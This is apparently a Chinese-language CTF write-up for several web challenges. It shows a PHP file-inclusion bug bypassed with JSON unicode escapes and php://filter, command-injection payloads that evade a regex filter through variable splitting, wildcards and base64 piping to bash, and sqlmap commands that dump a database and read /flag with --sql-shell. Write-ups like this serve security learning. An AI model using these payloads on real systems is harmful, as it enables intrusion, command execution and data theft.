rce_me
首先分析源码
<?php
error_reporting(0);
highlight_file(FILE);
function is_safe($input) {
$blacklist = [
'\.\.',
//防止目录穿越 '(php|file|glob|data|tp|zip|zlib|phar):',
'flag'
//过滤常见的伪协议和flag关键字眼 ];
$pattern = '/' . implode('|', $blacklist) . '/i';
//生成正则 return !preg_match($pattern, $input);
//匹配正则 }
$requestBody = file_get_contents('php://input');
//利用php://input协议获取post数据 $parsedJson = json_decode($requestBody, true);
// 变量requestbody进行json解码后赋值给变量parsejson if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) {
//
对requestbody内容进行黑名单检测、检测parsejson中是否存在page参数 -> 意味着我们的payload应传递给pages参数
$pageUrl = $parsedJson['pages'];
$pageContent = file_get_contents($pageUrl);
//
读取pageurl中文件的内容并赋值给pagecontent -> 到这里就可以确定是一个文件包含漏洞了
if (!$pageContent || !is_safe($pageContent)) {
//对pagecontent内容进行检测 $pageContent = "<p>not found</p>\n";
}
} else {
$pageContent = '<p>invalid request</p>';
}
$pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent);
echo json_encode(['content' => $pageContent]);
?>
//
//最后这里如果直接返回明文Flag则会替换掉Flag中的内容 -> 这里很明显需要对返回的内容进行加密,不难想到利用php://filter中的流控制器进行数据编码
在阅读完整个代码后,可以大致猜测到本题是需要利用php://filter伪协议来读取文件的,难点在于绕过is_valid()这一检测函数,于是引出了json编码数据中的一个小Trick,即\uxxxx可以在json中转移字符,如\u等效于\u0041
也就是说我们可以将is_safe()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测,所以首先构造可以读取文件/flag内容的payload
php://filter/convert.base64-encode/resource=/flag
编码\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
构造json数据包
{"pages":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
将json数据包利用post方式发送,得到解码base64
Sinple-php
本题主要有两个关键点
1:$parsedJson = json_decode($requestBody, true);
传参格式 {"名":"值"}
2: 正则绕过 1:使用命令拼接 2:通配符 3:过滤了点号
payload1为{"cmd":"a=ca&&b=t&&$a$b /[e-h][k-m][0-b][e-h][+-0]txt"}
这里还测试过以下payload也能出
payload2:{"cmd":"c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b"}
payload3:
f=l&&g=s&&h=he&&i=ad&&j=txt&&a=ca&&b=t&&c=fla&&d=g&&e=$($f$g -a|$h$i -n 1)&&$a$b /$c$d$e$j
payload比较简单,就不仔细解释了
simple_php_revenge
这题多ban了一个东西,但也没有影响上题的payload,估计是解法非预期
人才(做的)管理系统 by hacked_1
首先的思路是直接爆,但先进行一下信息收集,查看源代码,结果发现这么一段代码
就是说我们登入成功后会出现index.html这么个东西,所以我们直接先访问它,结果出现了flag
人才(做的)管理系统 by hacked_2
本题提示flag是在数据库里
本题注入点为登录界面(这里我们找了挺久,最后是请教了出题人才知道,记录一下注入点也是能够在登录界面的,因为在其他地方也没找到)本题是使用sqlmap解的
知道注入点后先随便写账号密码登入,然后抓包
可以看到请求方法为POST
所以目标使用-r命令(BP抓包放到一个文档里)
sqlmap -r '/home/kali/桌面/1.txt' --dbs(这里新建了一个1.txt,拖入即可)查数据库
这里查到4个,猜测staff库比较可疑,所以先查staff库下的表
sqlmap -r "/home/kali/桌面/1.txt" -D staff --tables
可以看到有7个表,flag很有可能就在flag表里,所以接下来查表flag里的列
sqlmap -r '/home/kali/桌面/1.txt' -D staff -T flag --dump
查到有两个列,且其中一个为flag,所以基本可以确定flag就在flag列里面,接着查flag列下的flag值
sqlmap -r '/home/kali/桌面/1.txt' -D staff -T flag -C "flag" --dump
人才(做的)管理系统 by hacked_3
本题提示flag在根目录下,本来想继续用上题解法,但爆出来的库和表太多了,查了好一会也没什么发现,并且本题提示为flag在根目录下,仔细一想也并不知道爆出来的那些库,表什么的会与根目录有什么关系。经过别的师傅提示说可以用--sql-shell,了解到
--sql-shell
: 是 SQLMap 的一个选项,指示在成功利用 SQL 注入漏洞后打开一个交互式的 SQL shell。这个 SQL shell 允许用户直接与目标数据库进行交互,执行 SQL 查询和命令,从而获取数据或者控制数据库。也就是说可以利用他来执行命令
所以可以执行该命令 sqlmap -r '/home/plb/Desktop/1.txt' --sql-shell
但是执行完了又该如何查看根目录下的flag呢,了解到:
load_file('/flag')
: 这是一个 MySQL 特定的函数 load_file()
,它的作用是从文件系统中读取指定路径的文件内容并返回。在这个例子中,'/flag'
是一个文件路径,表示尝试读取名为 flag
的文件内容。
所以执行select load_file('/flag')